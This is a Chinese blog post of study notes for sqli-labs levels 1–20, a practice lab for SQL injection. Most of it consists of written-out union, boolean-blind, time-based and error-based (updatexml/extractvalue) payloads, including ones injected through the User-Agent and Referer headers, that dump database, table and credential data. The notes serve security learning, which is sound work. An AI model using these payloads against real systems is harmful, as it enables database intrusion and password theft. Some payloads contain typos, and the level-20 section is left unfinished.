sqlilabs靶场1—20题学习笔记(思路+解析+方法)

2024-04-17 01:28

本文主要是介绍sqlilabs靶场1—20题学习笔记(思路+解析+方法),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前几个题目较为简单,均尝试使用各种方法进行SQL注入

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询

猜解列名

?id=1') order by 3--+            

判断回显点

?id=-1') union select 1,2,3--+    

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

第四题

根据报错信息得到注入点是双引号带括号注入

联合查询:

猜解列名

?id=1") order by 3--+            

判断回显点

?id=-1") union select 1,2,3--+    

爆库、版本号、权限

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,user()--+

爆表、爆列

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1") union select 1,2,(select group_concat(username,password))from users

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

 

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+  正常

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+     正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+    正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

第七题

根据报错信息

?id=1' and '1'='1 返回页面正常 ------对应查询SQL:where id=(('1' and '1'='1'));

?id=1' and '1'='2 返回页面报错 ------对应查询SQL:where id=(('1' and '1'='2'));

判断为字符型注入

?id=1" 返回页面正常 ---------对应查询SQL:where id=(('1"'))

?id=1'--+ 返回页面报错 ---------对应查询SQL:where id=(('1'--+')) -----破坏SQL语句原有结构

?id=1')--+ 返回页面报错 --------对应查询SQL:where id=(('1')--+'))

?id=1'))--+ 返回页面正常 --------对应查询SQL:where id=(('1'))--+'))

注入形式为:?id=1'))

没有回显点,尝试盲注,与第五题方法相同

第八题

 

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面不正常,无回显信息

判断为字符型注入

?id=1'--+ 页面正常,无回显信息 SQL查询语句:where id='1'--+'

注入形式为?id=1''

没有回显点,尝试盲注,与第五题方法相同

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

 

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

第十五题

输入信息页面没有回显值

判断为盲注,根据页面显示正确与否猜解数据库信息

当输入1'or 1=1#,找到注入点

布尔盲注:采用第五题解法

第十六题

与15题思路相同

第十七题

B站教学视频很详细

【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili

我将SQL语句在页面中显示,以便更深入学习。

寻找注入点

修改密码的一个页面。

输入正确的账号密码,可以看到,账号为admin,密码修改admin——admin

密码换成123

使用hackbar插件

对username进行注入,会发现输入的 ' 被转义了,寻找其他注入点

对password部分进行注入,发现注入点

报错注入

关于报错注入的知识点:第十一题

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

 

第十八题

1.分析题目

学习博文(包含http请求头的学习):sqli-labs关卡18(基于http头部报错盲注)通关思路_sqli-labs18-CSDN博客

非常详细

我仍将SQL语句在页面中显示,以便更深入学习。

输入正确的账号密码

页面回显ip信息

用户的ip信息与http请求头X-Forwarded-For有关,可以尝试在http请求头注入

查看源码

这里username和password被过滤,无法注入

User-Agent部分可以尝试注入

添加单引号,会发现报错,报错为缺少 ' ',' ') 判断原SQL语句为('$uagent','$ip','$uname');

2.尝试注入

分析过后,页面无回显点,尝试报错注入

正常语句:('$uagent','$ip','$uname')

报错语句:('$uagent'','$ip','$uname')(多了个 ' )

注入语句:'SQL注入',1,1)#

1)爆数据库

1'and updatexml(1,concat(0x7e,(database())),1),1,1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1,1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1,1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1,1)#

第十九题

1.分析题目

输入正确的账号密码,显示referer字段,也是http请求头中的,应该和第十八题思路一样

用Burpsuite抓包,尝试在referer处加 ' 报错

观察报错信息

判断正常语句应为('$uagent','$ip')

查看源码

报错语句:('$uagent'','$ip')

注入语句: 'SQL注入',1)#,'$ip')

2.尝试注入

1)爆数据库

1'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1)#

第二十题

输入正确时,页面显示Cookie值

用Burpsuite抓包,进行报错注入:

 

这篇关于sqlilabs靶场1—20题学习笔记(思路+解析+方法)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/910439

相关文章

Spring Security自定义身份认证的实现方法

《SpringSecurity自定义身份认证的实现方法》:本文主要介绍SpringSecurity自定义身份认证的实现方法,下面对SpringSecurity的这三种自定义身份认证进行详细讲解,... 目录1.内存身份认证(1)创建配置类(2)验证内存身份认证2.JDBC身份认证(1)数据准备 (2)配置依

python获取网页表格的多种方法汇总

《python获取网页表格的多种方法汇总》我们在网页上看到很多的表格,如果要获取里面的数据或者转化成其他格式,就需要将表格获取下来并进行整理,在Python中,获取网页表格的方法有多种,下面就跟随小编... 目录1. 使用Pandas的read_html2. 使用BeautifulSoup和pandas3.

Spring 中的循环引用问题解决方法

《Spring中的循环引用问题解决方法》:本文主要介绍Spring中的循环引用问题解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录什么是循环引用?循环依赖三级缓存解决循环依赖二级缓存三级缓存本章来聊聊Spring 中的循环引用问题该如何解决。这里聊

Golang HashMap实现原理解析

《GolangHashMap实现原理解析》HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持高效的插入、查找和删除操作,:本文主要介绍GolangH... 目录HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》:本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter(过滤器)1. Filter 的工作原理2. Filter 的配置与使用二、Listen

Pandas统计每行数据中的空值的方法示例

《Pandas统计每行数据中的空值的方法示例》处理缺失数据(NaN值)是一个非常常见的问题,本文主要介绍了Pandas统计每行数据中的空值的方法示例,具有一定的参考价值,感兴趣的可以了解一下... 目录什么是空值?为什么要统计空值?准备工作创建示例数据统计每行空值数量进一步分析www.chinasem.cn处

Windows 上如果忘记了 MySQL 密码 重置密码的两种方法

《Windows上如果忘记了MySQL密码重置密码的两种方法》:本文主要介绍Windows上如果忘记了MySQL密码重置密码的两种方法,本文通过两种方法结合实例代码给大家介绍的非常详细,感... 目录方法 1:以跳过权限验证模式启动 mysql 并重置密码方法 2:使用 my.ini 文件的临时配置在 Wi

MySQL重复数据处理的七种高效方法

《MySQL重复数据处理的七种高效方法》你是不是也曾遇到过这样的烦恼:明明系统测试时一切正常,上线后却频频出现重复数据,大批量导数据时,总有那么几条不听话的记录导致整个事务莫名回滚,今天,我就跟大家分... 目录1. 重复数据插入问题分析1.1 问题本质1.2 常见场景图2. 基础解决方案:使用异常捕获3.

最详细安装 PostgreSQL方法及常见问题解决

《最详细安装PostgreSQL方法及常见问题解决》:本文主要介绍最详细安装PostgreSQL方法及常见问题解决,介绍了在Windows系统上安装PostgreSQL及Linux系统上安装Po... 目录一、在 Windows 系统上安装 PostgreSQL1. 下载 PostgreSQL 安装包2.

Python使用getopt处理命令行参数示例解析(最佳实践)

《Python使用getopt处理命令行参数示例解析(最佳实践)》getopt模块是Python标准库中一个简单但强大的命令行参数处理工具,它特别适合那些需要快速实现基本命令行参数解析的场景,或者需要... 目录为什么需要处理命令行参数?getopt模块基础实际应用示例与其他参数处理方式的比较常见问http